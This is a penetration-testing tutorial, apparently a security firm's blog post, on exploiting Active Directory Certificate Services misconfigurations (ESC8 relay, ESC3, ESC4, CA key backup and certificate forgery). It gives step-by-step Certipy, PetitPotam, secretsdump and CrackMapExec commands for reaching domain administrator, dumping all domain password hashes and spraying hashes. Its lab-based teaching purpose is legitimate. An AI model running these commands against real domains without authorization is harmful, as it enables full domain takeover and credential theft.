AD Series: Active Directory Certificate Services (ADCS) Misconfiguration Exploits

Note: This blog was last updated 1/23/2024. Updates are noted by date below.

Active Directory Certificate Services (ADCS) is a server role that allows a corporation to build a public key infrastructure. This allows the organization to provide public key cryptography, digital certificates and digital signatures capabilities to the internal domain.

While using ADCS can provide a company with valuable capabilities on their network, a misconfigured ADCS server could allow an attacker to gain additional unauthorized access to the domain. This blog outlines exploitation techniques for vulnerable ADCS misconfigurations that we see in the field.

Tools We’ll Be Using
  • Certipy: A great tool for exploiting several ADCS misconfigurations.
  • PetitPotam: A tool that coerces Windows hosts to authenticate to other machines.
  • Secretsdump (a python script included in Impacket): A tool that dumps SAM and LSA secrets using methods such as pass-the-hash. It can also be used to dump the all the password hashes for the domain from the domain controller.
  • CrackMapExec: A multi-fasceted tool that, among other things, can dump user credentials while spraying credentials across the network to access more systems.
  • A test Active Directory environment like the one we provisioned in the first blog in this series.
Exploit 1: ADCS Web Enrollment

If an ADCS certificate authority has web enrollment enabled, an attacker can perform a relay attack against the Certificate Authority, possibly escalating privileges within the domain. We can use Certipy to find ADCS Certificate Authority servers by using the tool’s find command. Note that the attacker would need access to the domain, but the credentials of a simple authenticated user is all that is needed to perform the attack.

certipy find -dc-ip {DC IP Address} -u {User} -p {Password}
Using Certipy to find an ADCS Certificate Authority Server

First, while setting up ADCS in my test environment, I setup a Certificate Authority to use for this testing.

Certipy’s find command also has a vulnerable flag that will only show misconfigurations within ADCS.

certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable
Using Certipy’s Vulnerable flag

The text file output lists misconfigurations found by Certipy. While setting up my lab environment I checked the box for web enrollment. Here we see that the default configuration is vulnerable to the ESC8 attack:

Web Enrollment Vulnerability

To exploit this vulnerability, we can use Certipy to relay incoming connections to the CA server. Upon a successful relay we will gain access to a certificate for the relayed machine or the user account. But what really makes this a powerful attack is that we can relay the domain controller machine account, effectively giving us complete access to the domain. Using PetitPotam we can continue the attack and easily force the domain controller to authenticate to us.

The first step is to setup Certipy to relay the incoming connections to the vulnerable certificate authority.  Since we are planning on relaying a domain controller’s connection, we need to specify the domain controller template.

certipy relay -ca {Certificate Authority IP Address} -template DomainController
Using Certipy to Relay Incoming Connections

Update 1/11/2024: While on an engagement I found that the organization had changed the default certificate templates. They had switched out the DomainController template with another one. So while I could successfully force a Domain Controller to authenticate, I would receive an error when trying to get a DomainController certificate. After a longer time than I care to admit, I used certipy to check the enabled templates and found that DomainController was not one of them. All I had to do was change the template name to match their custom template name. TL;DR: Check the templates if there is an error getting a DomainController certificate.

Now that Certipy is setup to relay connections, we use PetitPotam to coerce the domain controller into authenticating against our server.

python3 -u {Username} -p {Password} {Listener IP Address} {Target IP Address}
Using PetitPotam to force authentication

After Certipy receives the connection it will relay the connection and get a certificate for the domain controller machine account.

Successful relay attack

We can then use Certipy to authenticate with the certificate, which gives access to the domain controller’s machine account hash.

certipy auth -username {Username} -domain {Domain} -dc-ip {DC IP Adress} -pfx {Certificate}
Getting Machine Hash

We can then use this hash with Secretsdump from the impacket library to dump all the user hashes. We can also use the hash with other tools such as CrackMapExec (CME) and smbclient. Basically anything that allows us to login with a username and hash would work. Here we use Secretsdump.

impacket-secretsdump {Domain/Username@IP Address} -hashes {Hash}
Dumping the domain

At this point we have complete access to the windows domain.

Update 1/23/2024: I have seen web enrollment where it does not listen on port 80 over HTTP, which is the default for certipy. I tried to use certipy on an engagement where web enrollment was listening only over HTTPS, and I ran into some weird issues. I found that NTLMRelay seems to work better in that situation, so I’ve written a new post detailing that attack.

Exploit 2: ESC3

In order to test additional misconfigurations that Certipy will identify and exploit, I started adding new certificate templates to the domain. While configuring the new template, I checked the option for Supply in the request, which popped up a warning box about possible issues.

Warning on new certificate

Given that I want to exploit possible misconfigurations, I was happy to see it.

Note: If you are testing in your own environment, once you create the template you will need to configure the CA to actually serve it.

After creating and configuring the new certificate template, we use Certipy to enumerate vulnerable templates using the same command we used to start the previous attack. Certipy identified that the new template was vulnerable to ESC3 issue.

certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable
Vulnerable template

Exploiting this issue can allow an attacker to escalate privileges from those of a normal domain user to a domain administrator. The first step to gaining domain administrator privileges is to request a new certificate based on the vulnerable template. We will need access to the domain as a standard user.

certipy req -dc-ip {DC IP Address} -u {Username} -p {Password} -target-ip {CA IP Address} -ca {CA Server Name} -template {Vulnerable Template Name}
Getting new certificate

After acquiring the new certificate, we can use Certipy to request another certificate, this time a User certificate, for the administrator account.

certipy req -u {Username} -p {Password} -ca {CA Server Name} -target {CA IP Address} -template User -on-behalf-of {Domain\Username} -pfx {Saved Certificate}
Getting Administrator Certificate

With the certificate for the administrator user, we use certipy to authenticate with the domain, giving us access to the administrator’s password hash.

certipy auth -pfx {Saved Administrator Certificate} -dc-ip {DC IP Address}
Authenticating with Administrator Certificate

At this point we have access to the domain as the domain’s Administrator account. Using the tools we’ve previously learned about like CME, we can take complete control of the domain.

crackmapexec smb {Target IP Address} -u {Username} -H {Password Hash}
Spraying hashes using CME

From this point, we can use the Secretsdump utility to gather user password hashes from the domain, as previously illustrated.

Exploit 3: ESC4

Another vulnerable misconfiguration that can occur is if users have too much control over the certificate templates. First we configure a certificate on my test network that gives users complete control over the templates.

Users have full control of template

Now we use Certipy to show the vulnerable templates using the same command as we used in the prior exploits.

certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable
Vulnerable template

We can use Certipy to modify the certificate to make it vulnerable to ESC1, which allows a user to supply an arbitrary Subject Alternative Name.

The first step is to modify the vulnerable template to make it vulnerable to another misconfiguration.

certipy template -u {Username} -p {Password} -template {Vulnerable Template Name} -save-old target-ip {CA Server IP Address}
Changing the template

Note that we can use the save-old flag to save the old configuration. This allows us to restore the template after the exploit.

After modifying the template, we can request a new certificate specifying that it is for the administrator account. When specifying the new account use the account@domain format.

certipy req -u {Username} -p {Password} -ca {CA Server Name} -target {CA Server IP Address} -template {Template Name} -upn {Target Username@Domain} -dc-ip {DC IP Address}
Requesting new certificate

Before we get too far, it’s a good idea to restore the certificate template.

certipy template -u {Username} -p {Password} -template {Template Name} -configuration {Saved Template Setting File} -dc-ip {DC IP Address}
Restoring the Template

After that we can authenticate with the certificate, again gaining access to the administrator’s hash.

certipy auth -pfx {Saved Certificate} -dc-ip {DC IP Address}
Authenticating with certificate
Exploit 4: Admin Control over CA Server

Another route to domain privilege escalation is if we have administrator access over the CA server. In the example lab I am just using a domain administrator account, but in a real engagement this access can be gained any number of ways.

If we have administrator access over the CA server, we can use the certificate to back everything up including the private keys and certificates.

certipy ca -backup -ca {CA Server Name} -u {Username} -p {Password} -dc-ip {DC IP Address}
Backing up the CA server

After backing up the CA server up we can use Certipy to forge a new certificate for the administrator account. In a real engagement the domain information would have to be changed.

certipy forge -ca-pfx {Name of Backup Certificate} -upn {Username@Domain} -subject 'CN=Administrator,CN=Users,DC={Domain Name},DC={Domain Top Level}'
 Forging new certificate

After forging the certificate, we can use it to authenticate, again giving us access to the user’s NTLM password hash.

certipy auth -pfx {Saved Certificate} -dc-ip {DC IP Address}
Authenticating with forged certificate
Helpful References

Raxis X logo as document separator
Active Directory Certificate Services (ADCS) Misconfiguration Exploits